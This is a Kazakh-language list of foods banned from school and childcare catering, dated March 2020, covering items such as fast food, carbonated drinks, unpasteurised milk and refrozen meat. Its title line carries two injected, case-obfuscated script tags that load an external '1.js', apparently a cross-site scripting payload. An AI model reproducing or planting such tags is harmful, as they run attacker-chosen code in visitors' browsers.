Білім және тәрбие беру нысандарында жаппайтамақтануда тыйым салынған азық-түліктер<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

02.03.2020

Білім және тәрбие беру нысандарында  жаппайтамақтануда   тыйым  салынған  азық-түліктер  тізімі

І.  Дайындау және таратуға тыйым салынады:

1. Ашыған сүт, ірімшік, айран;

2. Фаршталған құймақ;

3. Флот макароны;

    4.  Жасыл өнімдер (зельцев) форшмак,   студней, паштеттер;

кремі бар кондитерлік тағамдар;

5. Тәтті кондитерлік тағамдар тұтынушылық қапталған (шоколад, кәмпиттер, печенья) 

6. Морс, квас, қуырылған тағамдар,   жұмыртқа  өнімдері;

    7. Күрделі салаттар (төрт тағамнан тұратын) қаймақ, майонезбен     араластырылған;

 

    8. Окрошка, саңырауқұлақтар, үйде дайындалған тағамдар;

 

    9. Негізгі тез дайындалатын  құрғақ концентратты бірінші және екінші тағам  түрлері;

 

    10. Газдалған,  сауықтыру, асханалық –сауықтыру   минералды сусындар, тәтті   алкогольсіз сусындар, алкогольсіз энергетик сусындары, концентратты  сусындар;

 

   11. Фаст-фудтар, гамбургерлер, хот-догтар, чипсылар,  сухариктер, 

 

   12. Кириешкалар,  ащы соустар,  кетчуптар, өткір  дәмдеуіштер (бұрыш,

 

  13.  Қыша-горчица, ақжелкек –хрен)

     

     

 

ІІ.  Қолдануға тыйым салынады:     

     

1.  Пастерленбеген сүт, ыстық (термическое) өңдеуден өтпеген ірімшік, қаймақ, жұмыртқа, суда жүзетін құс еттері;    

  

 2. Ауруға шалдыққан  ауыл- шаруашылық  малдарының сүт өнімдері; 

     

 3.  Ет өнімдерінің ішкі мүшелері (тіл мен жүректен) басқасы; механикалық сүйектен арылту (обвалка), құрамында коллогені бар құс еттері;

  

 4.  Екінші рет мұздатылуға ұшыраған мал, құс ет өнімдері;   

     

 5.  Құрамында  ГМО сы бар тағам түрлері;

     

 6. Иодталмаған тұз, құрамына пайдалы темір, в1, в2 дәрумендері,

 

 минералдар  қосылмаған (нефортифицированной)  ұн сорттары;